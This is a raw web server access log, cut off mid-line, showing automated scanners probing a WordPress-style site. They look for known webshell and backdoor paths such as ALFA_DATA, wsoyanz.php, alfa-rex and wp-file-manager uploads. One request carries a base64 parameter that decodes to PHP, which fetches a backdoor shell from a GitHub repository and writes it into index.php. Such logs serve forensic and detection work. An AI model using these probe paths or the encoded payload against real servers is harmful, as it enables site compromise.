87.238.234.202 - - [04/Nov/2025:16:08:11 +0330] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) obsidian/1.8.10 Chrome/132.0.6834.196 Electron/34.2.0 Safari/537.36" 62.201.240.252 - - [04/Nov/2025:16:35:33 +0330] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4 Safari/605.1.15" 62.201.240.252 - - [04/Nov/2025:16:35:37 +0330] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4 Safari/605.1.15" 62.201.240.252 - - [04/Nov/2025:16:37:05 +0330] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 62.201.240.252 - - [04/Nov/2025:16:37:24 +0330] "GET /wp-content/themes/newsfeed-theme/bbh.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 62.201.240.252 - - [04/Nov/2025:16:37:57 +0330] "GET /wp-content/plugins/init-help/init.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 62.201.240.252 - - [04/Nov/2025:16:38:13 +0330] "GET /geju.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 62.201.240.252 - - [04/Nov/2025:16:38:19 +0330] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 62.201.240.252 - - [04/Nov/2025:16:38:44 +0330] "GET /b.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 62.201.240.252 - - [04/Nov/2025:16:38:49 +0330] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 62.201.240.252 - - [04/Nov/2025:16:38:52 +0330] "POST /wp-content/plugins/about.php HTTP/1.1" 301 795 "http://app.optimyar.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 62.201.240.252 - - [04/Nov/2025:16:39:01 +0330] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 43.167.232.38 - - [04/Nov/2025:15:35:40 +0330] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 62.201.240.252 - - [04/Nov/2025:16:35:37 +0330] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4 Safari/605.1.15" 62.201.240.252 - - [04/Nov/2025:16:35:38 +0330] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4 Safari/605.1.15" 62.201.240.252 - - [04/Nov/2025:16:37:09 +0330] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 62.201.240.252 - - [04/Nov/2025:16:37:16 +0330] "GET /wp-admin/css/colors/blue/blue.php?wall=ZmlsZV9wdXRfY29udGVudHMoJ2luZGV4LnBocCcsZmlsZV9nZXRfY29udGVudHMoJ2h0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9BcmRoaWF6ei9zaGVsbC1iYWNrZG9vci1waHAvbWFpbi9taW5pLXJlZmYucGhwJykpOw= HTTP/1.1" 301 795 "www.google.comhttps://github.com/Ardhiazz" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 62.201.240.252 - - [04/Nov/2025:16:37:19 +0330] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 62.201.240.252 - - [04/Nov/2025:16:37:19 +0330] "GET /administrator/templates/bluestork/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 62.201.240.252 - - [04/Nov/2025:16:38:43 +0330] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 62.201.240.252 - - [04/Nov/2025:16:38:52 +0330] "GET /wp-content/about.php HTTP/1.1" 301 795 "http://app.optimyar.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 62.201.240.252 - - [04/Nov/2025:16:38:53 +0330] "POST /wp-content/plugins/about.php HTTP/1.1" 301 795 "http://app.optimyar.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 62.201.240.252 - - [04/Nov/2025:16:38:53 +0330] "GET /wp-content/about.php HTTP/1.1" 301 795 "http://app.optimyar.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 62.201.240.252 - - [04/Nov/2025:16:38:54 +0330] "POST /wp.php HTTP/1.1" 301 795 "http://app.optimyar.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 62.201.240.252 - - [04/Nov/2025:16:38:54 +0330] "GET /about.php HTTP/1.1" 301 795 "http://app.optimyar.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 62.201.240.252 - - [04/Nov/2025:16:39:06 +0330] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 62.201.240.252 - - [04/Nov/2025:16:39:35 +0330] "GET /zwso.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 62.201.240.252 - - [04/Nov/2025:17:02:00 +0330] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 62.201.240.252 - - [04/Nov/2025:17:02:01 +0330] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 62.201.240.252 - - [04/Nov/2025:17:02:01 +0330] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 62.201.240.252 - - [04/Nov/2025:17:02:02 +0330] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 62.201.240.252 - - [04/Nov/2025:17:02:02 +0330] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 62.201.240.252 - - [04/Nov/2025:17:02:02 +0330] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 62.201.240.252 - - [04/Nov/2025:17:02:02 +0330] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 62.201.240.252 - - [04/Nov/2025:17:02:03 +0330] "GET /assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 62.201.240.252 - - [04/Nov/2025:17:02:03 +0330] "GET /uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 62.201.240.252 - - [04/Nov/2025:17:02:03 +0330] "GET /upload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 62.201.240.252 - - [04/Nov/2025:17:02:04 +0330] "GET /files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 62.201.240.252 - - [04/Nov/2025:17:02:04 +0330] "GET /images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 62.201.240.252 - - [04/Nov/2025:17:02:05 +0330] "GET /cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 62.201.240.252 - - [04/Nov/2025:17:02:05 +0330] "GET /media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 62.201.240.252 - - [04/Nov/2025:17:02:05 +0330] "GET /js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 62.201.240.252 - - [04/Nov/2025:17:02:05 +0330] "GET /tmp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 62.201.240.252 - - [04/Nov/2025:17:02:05 +0330] "GET /temp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 62.201.240.252 - - [04/Nov/2025:17:02:06 +0330] "GET /backup/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 62.201.240.252 - - [04/Nov/2025:17:02:06 +0330] "GET /admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 62.201.240.252 - - [04/Nov/2025:17:02:06 +0330] "GET /public/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 62.201.240.252 - - [04/Nov/2025:17:02:06 +0330] "GET /lib/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 62.201.240.252 - - [04/Nov/2025:17:02:07 +0330] "GET /scripts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 212.104.75.148 - - [04/Nov/2025:18:56:34 +0330] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15" 118.67.205.4 - - [04/Nov/2025:19:12:38 +0330] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:12:41 +0330] "POST /.well-known/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:12:43 +0330] "POST /wp-content/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:15:21 +0330] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:15:24 +0330] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:31:02 +0330] "GET /alfanew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:31:06 +0330] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:31:13 +0330] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:31:16 +0330] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:31:19 +0330] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:31:21 +0330] "GET /yanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:31:24 +0330] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:31:26 +0330] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:31:36 +0330] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:31:38 +0330] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:31:41 +0330] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:31:43 +0330] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:31:45 +0330] "GET /admin-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:31:51 +0330] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:31:55 +0330] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:31:56 +0330] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:31:58 +0330] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:32:00 +0330] "GET /about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:32:04 +0330] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:32:13 +0330] "GET /ws.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:30:57 +0330] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:31:04 +0330] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:31:08 +0330] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:31:14 +0330] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:31:30 +0330] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:31:34 +0330] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:31:49 +0330] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:31:53 +0330] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:32:02 +0330] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:32:08 +0330] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:32:15 +0330] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:32:18 +0330] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:38:03 +0330] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:38:06 +0330] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:38:09 +0330] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:38:12 +0330] "GET /wp-content/themes/gaukingo/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:38:21 +0330] "GET /wp-content/plugins/ioptimizations/IOptimizes.php?hamlorszd HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:38:39 +0330] "GET /wp-content/plugins/wp-file-manager/lib/files/abruzi.php4 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:38:51 +0330] "GET /wp-content/plugins/wp-file-manager/lib/files/king.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:38:54 +0330] "GET /wp-content/plugins/wp-file-manager/lib/files/xo.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:38:58 +0330] "GET /wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/xo.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:39:10 +0330] "GET /wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/abruzi.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:39:23 +0330] "GET /wp-content/plugins/formcraft/file-upload/server/php/files/abruzi.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:39:31 +0330] "GET /wp-content/plugins/ioptimization/king.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:39:41 +0330] "GET /wp-content/plugins/ioptimization/xo.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:38:14 +0330] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:38:18 +0330] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:38:23 +0330] "GET /wp-content/uploads/wp_live_chat/abruzi.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:38:37 +0330] "GET /wp-content/plugins/wp-file-manager/lib/files/a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:38:44 +0330] "GET 